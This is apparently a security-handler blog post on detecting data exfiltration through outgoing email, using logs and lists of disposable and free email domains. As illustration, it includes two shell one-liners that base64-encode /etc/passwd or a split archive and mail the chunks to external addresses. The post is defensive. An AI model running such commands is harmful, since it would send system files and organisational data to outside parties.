Last Updated: 2019-03-07 07:49:14 UTC
by Xavier Mertens (Version: 1)
In many organisations, emails still remain a classic infection path today. The good old email is still today a common communication channel to exchange information with people outside of the security perimeter. Many security controls are in place to reduce the number of malicious emails landing in users’ mailboxes. If, from a network perspective, firewalls inspect traffic in both directions (“egress” and “ingress” filters), it’s not always the case with email flows. They are often just allowed to go out through local MTA’s (Mail Transfert Agents).
From a malware point of view, inspecting outgoing emails for malicious content is less critical. Except if the mail server is being compromized or left open to send massive waves of malicious messages, we can assume that internal emails are “clean” but what about data exfiltration? A DLP ("Data Leak Prevention") tool could sometimes spot interesting content but I'm not a big fan of such solution. Today, most content is obfuscated or encrypted. We can try to spot suspicious activity just be having a look at our logs. Yes, logs are mandatory if you did not know yet!
I found on github.com some compiled lists of domains used by free mail providers or disposable (“temporary”) email providers (like the well-known guerrillamail.com). I'm a big fan of such services, especially when I'm forced by a vendor to fill a form with my contact details just to download a white-paper or a report.
I compiled my own list and started to correlate these domains with a lot of events generated by different MTA’s (I’m lucky to have access to big networks). Guess what? I found many suspicious communications with disposable email providers. What did I found?
A user who probably setup a forward rule to send a copy of all his/her emails to a free email address (Is it allowed by your policy?)
Users who sent emails to disposable email addresses with the subject “to print”, “to review” or “to read”. Probably to work from a remote location.
Users who sent official documents to a known partner who was using a free email address (in this case, it was an embassy!)
Often, sending emais is very convenient because you just need to use the available mail servers inside the infrastructure. Emails are just allowed because it's a classic way for the IT team to get results of scripts, backups, etc. So convenient! Emails can also by generated from scripts (Shell, Python, …) with just a one-liner:
$ base64 </etc/passwd | mail firstname.lastname@example.org
The exfiltration of big files is easy:
$ cat bigfile.tgz \ | split -b 2000 && for f in xa*; do base64 $f \ | mail -s $f email@example.com; done
Check also for beaconing (emails sent a regular interval to the same destination - ex: 1 email every 2h)
What about blocking outgoing emails to those domains? It must be decided case by case, depending on your environment and your business. In the environment where I found the case described above, it's simply not possible to block all of them.
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant